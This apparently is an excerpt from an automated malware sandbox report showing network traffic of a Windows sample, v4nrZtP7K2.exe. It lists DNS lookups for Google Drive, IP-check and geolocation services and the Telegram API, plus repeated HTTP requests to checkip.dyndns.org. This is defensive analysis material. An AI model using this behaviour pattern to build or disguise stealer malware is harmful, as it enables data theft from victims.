Jan 10, 2025 21:42:24.950273991 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:24.950299025 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:24.950340033 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:24.950351000 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:25.228914976 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:25.228996992 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 21:42:25.229037046 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:25.229499102 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 21:42:25.234638929 CET	50045	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:25.239454985 CET	80	50045	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:25.239520073 CET	50045	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:25.239631891 CET	50045	80	192.168.2.9	132.226.8.169
Jan 10, 2025 21:42:25.244362116 CET	80	50045	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:26.085143089 CET	80	50045	132.226.8.169	192.168.2.9
Jan 10, 2025 21:42:26.132373095 CET	50045	80	192.168.2.9	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:41:01.925976992 CET	60584	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:41:01.932800055 CET	53	60584	1.1.1.1	192.168.2.9
Jan 10, 2025 21:41:04.111629009 CET	51515	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:41:04.118814945 CET	53	51515	1.1.1.1	192.168.2.9
Jan 10, 2025 21:41:08.032238960 CET	58040	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:41:08.040484905 CET	53	58040	1.1.1.1	192.168.2.9
Jan 10, 2025 21:41:10.894087076 CET	63535	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:41:10.905711889 CET	53	63535	1.1.1.1	192.168.2.9
Jan 10, 2025 21:41:17.323833942 CET	61597	53	192.168.2.9	1.1.1.1
Jan 10, 2025 21:41:17.330606937 CET	53	61597	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:41:01.925976992 CET	192.168.2.9	1.1.1.1	0x9fd5	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:04.111629009 CET	192.168.2.9	1.1.1.1	0xe5f2	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.032238960 CET	192.168.2.9	1.1.1.1	0x7606	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.894087076 CET	192.168.2.9	1.1.1.1	0xf35e	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:17.323833942 CET	192.168.2.9	1.1.1.1	0xaa89	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:41:01.932800055 CET	1.1.1.1	192.168.2.9	0x9fd5	No error (0)	drive.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:04.118814945 CET	1.1.1.1	192.168.2.9	0xe5f2	No error (0)	drive.usercontent.google.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.040484905 CET	1.1.1.1	192.168.2.9	0x7606	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:41:08.040484905 CET	1.1.1.1	192.168.2.9	0x7606	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.040484905 CET	1.1.1.1	192.168.2.9	0x7606	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.040484905 CET	1.1.1.1	192.168.2.9	0x7606	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.040484905 CET	1.1.1.1	192.168.2.9	0x7606	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:08.040484905 CET	1.1.1.1	192.168.2.9	0x7606	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.905711889 CET	1.1.1.1	192.168.2.9	0xf35e	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.905711889 CET	1.1.1.1	192.168.2.9	0xf35e	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.905711889 CET	1.1.1.1	192.168.2.9	0xf35e	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.905711889 CET	1.1.1.1	192.168.2.9	0xf35e	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.905711889 CET	1.1.1.1	192.168.2.9	0xf35e	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.905711889 CET	1.1.1.1	192.168.2.9	0xf35e	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:10.905711889 CET	1.1.1.1	192.168.2.9	0xf35e	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:41:17.330606937 CET	1.1.1.1	192.168.2.9	0xaa89	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49711	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:08.050080061 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:10.179828882 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:41:10.190351009 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:41:10.627417088 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 21:41:17.038228035 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:41:17.319858074 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49750	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:18.720920086 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 21:41:19.564111948 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:19 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49763	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:20.560574055 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:21.444427967 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:21 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49775	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:22.423968077 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:23.232569933 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:23 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49792	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:24.253156900 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:25.113312006 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49804	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:26.318744898 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:27.155415058 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49820	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:28.126822948 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:28.982959032 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49833	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:29.916517019 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:30.747426033 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49846	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:31.782521009 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:32.627525091 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49860	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:33.631115913 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:34.435841084 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49871	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:35.486218929 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:36.386353970 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49884	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:37.273180008 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:38.117928982 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49898	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:39.048686981 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:39.889874935 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:39 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49912	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:40.946892023 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:41.827558994 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49925	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:42.804886103 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:43.640191078 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49937	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:44.724029064 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 21:41:45.908823967 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 20:41:45 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49952	132.226.8.169	80	4256	C:\Users\user\Desktop\v4nrZtP7K2.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:41:47.656416893 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
